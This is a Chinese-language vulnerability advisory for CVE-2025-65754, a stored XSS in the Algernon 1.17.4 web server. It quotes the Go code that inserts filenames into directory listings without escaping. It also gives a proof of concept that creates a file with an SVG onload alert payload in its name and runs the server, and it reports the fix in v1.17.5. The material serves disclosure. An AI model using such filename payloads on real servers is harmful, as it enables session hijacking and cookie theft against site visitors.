CVE-2025-65754：Algernon 1.17.4 中的存储型 XSS

描述

Algernon v1.17.4 存在跨站脚本（XSS）漏洞，攻击者可通过精心构造的文件名有效载荷执行任意代码。

受影响项目：Algernon - 1.17.4
项目维护者：Alexander F. Rødseth (xyproto)
漏洞类型：跨站脚本（XSS）
攻击向量：攻击者可上传包含恶意名称的文件，以更改网站内容或窃取 Cookie 劫持会话。

部分变量未进行清理。例如：

engine/dirhandler.go 第 80-108 行


filename := item.Name()  // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))

themes/html.go 第 124-132 行

func HTMLLink(text, url string, isDirectory bool) string {
    if isDirectory {
        text += "/"
        url += "/"
    }
    return "<a href=\"/" + url + "\">" + text + "</a><br>"
    // 'text' (filename) is inserted directly without HTML escaping
}

从文件系统获取的文件名直接插入到 HTML 中，未进行 HTML 转义，出现在目录列表中。

PoC

$ algernon -v                                  
Algernon 1.17.4

在一个目录中，创建以 XSS 有效载荷为名称的文件。

# XSS 有效载荷 1：简单弹窗
$touch "test.txt"

# XSS 有效载荷 2：文件名中的事件处理
$touch "document<svg onload=alert(document.domain)>.svg"

在同一个仓库中，运行应用。

algernon

Server directory:       .
Server address:         :3000
Database:               Bolt (/tmp/algernon.db)
Cache mode:             On
Cache size:             1048576 bytes
TLS certificate:        cert.pem
TLS key:                key.pem
Request limit:          10/sec per visitor
Large file threshold:   44040192 bytes
Large file timeout:     10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/    
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2. 
INFO[0000] Use the -t flag for serving regular HTTP.    
INFO[0000] Serving HTTP on http://localhost:3000/

访问以下 URL，将出现弹窗。

利用 onerror 的 XSS 弹窗

利用 document.location 的 XSS 弹窗

该问题已在 v1.17.5 中修复。

参考

发现者：Benoit H. (Bnyt7)

CVE-2025-65754

最受欢迎

CVE-2025-65754：Algernon 1.17.4 中的存储型 XSS

描述

PoC

参考